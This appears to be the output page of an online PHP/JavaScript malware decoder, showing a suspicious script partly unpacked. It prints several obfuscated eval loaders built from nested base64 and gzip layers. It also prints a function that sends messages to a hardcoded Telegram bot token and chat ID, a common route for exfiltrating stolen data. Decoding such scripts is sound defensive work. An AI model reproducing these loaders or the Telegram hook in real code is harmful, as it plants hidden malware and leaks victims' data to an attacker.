Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level 

$heCeHnGkp4vhY5DKTVFNd6uS = 'eNoN1LWBhFAAANGCCLCPhYvrwuKQ4e5O9XclzAsmjx2cO97g0/lUBcNsXcjkNGjeh07ErUsdzSwljYW+WUWUMEYxlxlIezz7FM+MHmYPBUcMV319kWMfZ30rLCeFIbOwZNK7pYkJ8cYytuWquUE3y/r9rGkocley54eY7jrCDkb5YpUxCPLyVbabyzCkU3S6GEuvjeWtzBx0MeRwPhduhB6FO9/VVjVBei68YQIE+vCZtjrqVFVDlGDQd9LQIMTX/YwofHCWXZVhDNH8ihhQhuPxRhIL1nLOU+v1DZ8hBESTTlzBy6oLBml8oiQx/QtMs+9sXxZeFVFWyxv1llvVI2S20/JoNidvBpHqA9kkPiQksnCYs6LjSGg7DJpBzlV47W7iDXowe7rsG6sHQUXEVxBZtLfKwxqTWUo/d+H81eObYyfJiI43c7fqZ4AjsUv3pqRUPruQLVqdEDTXQEsWTwDpW86iNfQ9mLftlboUHgi+gq0OF0b5MacbwSlIKPnkDdfYuWpWsMNwMXVekkVY2gX9+P4jUNp3n24U8aFpMfJPpbC2nT6LIslVEfRysjHXizm5OXxTKHBehs93kQQiviKBW9bXm3bThaJGz0Y7862lzilW5w2JOqY/yFjQ09rFdNkMGXKngcm9V+vUx0MMA/ariUZw8Z9HFC7xKm57BgdCEXbVZZqFYxdq49kiq3C/6RiwGTfg8qqoMsb01JG06r4JsYEInjBUXlZ7BdpFH+c3VI40e7OJ7B+vkD9z9MTOSY4ZkF4xx/yKZhgrRmZrPlbKgPhZW2zpslaf/2bfDvKCWtvOe9FndscJX6MlAGeepyq9aLmHNcegC1h+rKSftHO+EcK8UhImEqdZaMyOBGZgfkVPvfsb9f95XKdZsy/O67Q42+5/zQO7YDiMBoWj73DimkzmWLhZm/iMphndMd7dT1dpx6NfC+in88M5TrSbnDAm4u4d20vrN0cPFFv/RMm4nPNYbJr5UOMMBhCSbW6dU2kOOb6gdUhKtFk2BU4306EbW1E5wDh1LdK1J8/s+HOIM0qLrrrdGwahc9+VFyNnXkAnCcIcmYX3vgdoWRsk0ca13zxO529gK7e9CF6BHJCWXheq6tTbIt5Q7Yt2v+UC/yxVLAEDcMEWo52w0+O0qT7Yen8pUe+ia1ByAmpaSUaOSRCNrHSY6zc1J0PjvaRXtNpn/ex+KPvHpreOEBAXR/MctwMDS/tYT6RjqAaeChw+rAP/JqFQa1KVmgaE/wLtbksp+fSaSRJu6nxMLvuVZlGWofoKtXkHv/Mslu52MJZABM0WvpZ8fSgcFf1IqJfC1dT5GzYcGJdnc/zqiBSmCRIGuSDK/BkRHLWl1Siom6jNelab2G14GeXdZHXz3TwXseBzh4ndbG1XR1+W0QKKBWhSxV2hR66JTmV2h00TH5XT5n6KmhQXMs9il1yakqRVBDmd/Hw7NEwIIOgTbnJuKgCguaikKk+FrObz66ZBCAF4fad1Y72zXF/3DYatlmIYWAMQAj27jhK6AD+4VnKvBqMbHOq0YqFIKDqNW7b80cpb98bCwZy7nkPs3LI0CumOkCpxKm0fQVpjsePktrt2p4M7QRqLjw6MmZnS+cR7ULRbTlzpU4cb1In/J1RMM3lJrvzlezl7jTAHHEJ6kaNjUICrN41qxgYmOR4pGrbGl4Jp9g/k4yPd';
 eval(gzinflate(base64_decode(gzuncompress(base64_decode($heCeHnGkp4vhY5DKTVFNd6uS)))));

$qOE9q0qdq5OoN6Tmq1lxzLY6 = 'eNoNzTeyo0AAANEDEcAMRhBsgPCDN8JlWIEQTnhOvz/uV9VDmK75OdKSQ1V6jT8bmo+QTMEsdghplaur2wS/5VUfw2ZZ7nPSVYsIOzh4NdKf5859V9xukNVkfsUF/umL4mbJFs6Cwm+xH3OyPM5LXB9SH0TPclf6ElIMaiBdx4CDOehKKrUhfu+9e/+oc2e5fdv9e98HUA7GiSDGLQxtB9ScahBvsmViKSZl0nUf6LOyrIN83A61vt8yqR72W0lH445ys7hfAfrpkU6ICVN8lzMHY+Cq5OC63KXJxpk0a+N51oEYRyRW95qA2OdXMTQiu3jddATG6z56GBg0jtivsAvf7BXOitvH2E/AxStpsrRGxkJ8+3zm3yIxi3jy0Y9prH2h68TCZ0Ppg7r7fBAfhfdx5GU2kiKv8leLJ5n8hV5HELif+5nCC+s28TPSwZupBDpsmzrPLI0QdkThImKXpLvvq4OF0Bm7e70Embp56O6LFyAj0Rn3KLCl7Bg1UCrdRwQDsYWd4t5dyPRppqNWC+62unGZ/zYZGRkoguL7UNehR+ajmnpglGdKGUIKWkZA/phsqhERv8xTDMviBrrYUis7QS6tND3e44uXS6Fh21aNf6QTrVB8WD3a9ekEUlLAV9jGRsT2vLkwRFgykxwgvv67fE3uWPWJb4GQw2+pZbcxixhbtjs7Z4luw4HHVXELZwNzmqF8DDGVC9D2g5OLDUecnGtzoQHOcFnVypvAYH5HSru2J2ZtKe7WuthyG0sf7zlwHrpzUKRS1xtjViuxczRgR/nqUda4BR9Oey9Zw6D4HGCJE4KmDh1XFYOP+ZAs0KxEgwdRUdFTxn22h30A5UJT6qnmRTLaZWuy28kzLCeTwTyK3jDeyB0yqI1oHSqGET5hxb6xb06fQL1RrVDzksnTHp3OkktzirzDTLIXYPNsc8tqczcfg7zThfDs0o6nFpgudWhN3RYpR9C26WjeL1erZXaJ1IS9UqbVYJR1hJ+RoiN5w5PrnsnJdcgoeFCEeHgLqJbEwnz74ZOLY8BU889u5DPqXPkQb+dT02FdZfJ12J3PSQa1hI6hmwnTOEabPRUQMiGRCXZeXFKTt1KYBxVtU8Er57+tnBTUQhZPAiN/pV6GYgaBt6N+04R0cCSdq59WApd+LumJRZdQT+w56F5i0nMhCTjEJH0+FeBeibGs+8epPldZAKV9vVtrxst3QMr6YC1QiR/CX2Ftp7clVnOAbIWklHmhZc7Ael+iIbKodHm8AZ0n0qzG40Exg2OX6EoipkoPMO/a2ZSd1Hlxf/w3/FrnsLxZ3sU2jyGu9NGJJhqu4RixxDul9iEoy3x733Gz7t0ahJgWmfKzv0eIH9q//8WruGQ=';
eval(base64_decode(base64_decode('SUdWMllXd29aM3BwYm1ac1lYUmxLR0poYzJVMk5GOWtaV052WkdVb1ozcDFibU52YlhCeVpYTnpLR0poYzJVMk5GOWtaV052WkdVb0pIRlBSVGx4TUhGa2NUVlBiMDQyVkcxeE1XeDRla3haTmlrcEtTa3BPdz09')));

$qOE9q0qdq5OoN6Tmq1lxzLY6 = 'eNoNzTeyo0AAANEDEcAMRhBsgPCDN8JlWIEQTnhOvz/uV9VDmK75OdKSQ1V6jT8bmo+QTMEsdghplaur2wS/5VUfw2ZZ7nPSVYsIOzh4NdKf5859V9xukNVkfsUF/umL4mbJFs6Cwm+xH3OyPM5LXB9SH0TPclf6ElIMaiBdx4CDOehKKrUhfu+9e/+oc2e5fdv9e98HUA7GiSDGLQxtB9ScahBvsmViKSZl0nUf6LOyrIN83A61vt8yqR72W0lH445ys7hfAfrpkU6ICVN8lzMHY+Cq5OC63KXJxpk0a+N51oEYRyRW95qA2OdXMTQiu3jddATG6z56GBg0jtivsAvf7BXOitvH2E/AxStpsrRGxkJ8+3zm3yIxi3jy0Y9prH2h68TCZ0Ppg7r7fBAfhfdx5GU2kiKv8leLJ5n8hV5HELif+5nCC+s28TPSwZupBDpsmzrPLI0QdkThImKXpLvvq4OF0Bm7e70Embp56O6LFyAj0Rn3KLCl7Bg1UCrdRwQDsYWd4t5dyPRppqNWC+62unGZ/zYZGRkoguL7UNehR+ajmnpglGdKGUIKWkZA/phsqhERv8xTDMviBrrYUis7QS6tND3e44uXS6Fh21aNf6QTrVB8WD3a9ekEUlLAV9jGRsT2vLkwRFgykxwgvv67fE3uWPWJb4GQw2+pZbcxixhbtjs7Z4luw4HHVXELZwNzmqF8DDGVC9D2g5OLDUecnGtzoQHOcFnVypvAYH5HSru2J2ZtKe7WuthyG0sf7zlwHrpzUKRS1xtjViuxczRgR/nqUda4BR9Oey9Zw6D4HGCJE4KmDh1XFYOP+ZAs0KxEgwdRUdFTxn22h30A5UJT6qnmRTLaZWuy28kzLCeTwTyK3jDeyB0yqI1oHSqGET5hxb6xb06fQL1RrVDzksnTHp3OkktzirzDTLIXYPNsc8tqczcfg7zThfDs0o6nFpgudWhN3RYpR9C26WjeL1erZXaJ1IS9UqbVYJR1hJ+RoiN5w5PrnsnJdcgoeFCEeHgLqJbEwnz74ZOLY8BU889u5DPqXPkQb+dT02FdZfJ12J3PSQa1hI6hmwnTOEabPRUQMiGRCXZeXFKTt1KYBxVtU8Er57+tnBTUQhZPAiN/pV6GYgaBt6N+04R0cCSdq59WApd+LumJRZdQT+w56F5i0nMhCTjEJH0+FeBeibGs+8epPldZAKV9vVtrxst3QMr6YC1QiR/CX2Ftp7clVnOAbIWklHmhZc7Ael+iIbKodHm8AZ0n0qzG40Exg2OX6EoipkoPMO/a2ZSd1Hlxf/w3/FrnsLxZ3sU2jyGu9NGJJhqu4RixxDul9iEoy3x733Gz7t0ahJgWmfKzv0eIH9q//8WruGQ=';
 eval(gzinflate(base64_decode(gzuncompress(base64_decode($qOE9q0qdq5OoN6Tmq1lxzLY6)))));

$telegram_bot_token = '5371075700:AAFGCBebiDX2nO_fjidLnGF_VtG6HU5WnC8';
$telegram_chat_id = '-1002257370109';
$enable_telegram_notification = true;

function sendTelegramNotification($token, $chatId, $message) {
    if (empty($token) || empty($chatId) || strpos($token, 'YOUR_') !== false || strpos($chatId, 'YOUR_') !== false) {
        error_log("Telegram Notification Error: Bot Token or Chat ID is not configured correctly.");
        return false;
    }

    $message = htmlspecialchars($message, ENT_QUOTES, 'UTF-8');

    $apiUrl = "https://api.telegram.org/bot{$token}/sendMessage";
    $params = [
        'chat_id' => $chatId,
        'text' => $message,
        'parse_mode' => 'HTML'
    ];

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $apiUrl);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

        $response = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_error($ch);
        curl_close($ch);

        if ($response === false || $httpCode >= 400) {
            error_log("Telegram Notification cURL Error: Code={$httpCode}, Error='{$curlError}', Response='{$response}'");
            return false;
        }
        return true;

    } elseif (ini_get('allow_url_fopen')) {
        $options = [
            'http' => [
                'header'  => "Content-type: application/x-www-form-urlencoded\r\n",
                'method'  => 'POST',
                'content' => http_build_query($params),
                'ignore_errors' => true,
                'timeout' => 10
            ]
        ];
        $context  = stream_context_create($options);
        $response = @file_get_contents($apiUrl, false, $context);

         if ($response === false || strpos($http_response_header[0], '200 OK') === false) {
             error_log("Telegram Notification file_get_contents Error: Headers='".implode(', ', $http_response_header ?? [])."', Response='{$response}'");
             return false;
         }
         return true;

    } else {
        error_log("Telegram Notification Error: cURL extension is not loaded AND allow_url_fopen is disabled in php.ini. Cannot send notification.");
        return false;
    }
}


© 2023 Quttera Ltd. All rights reserved.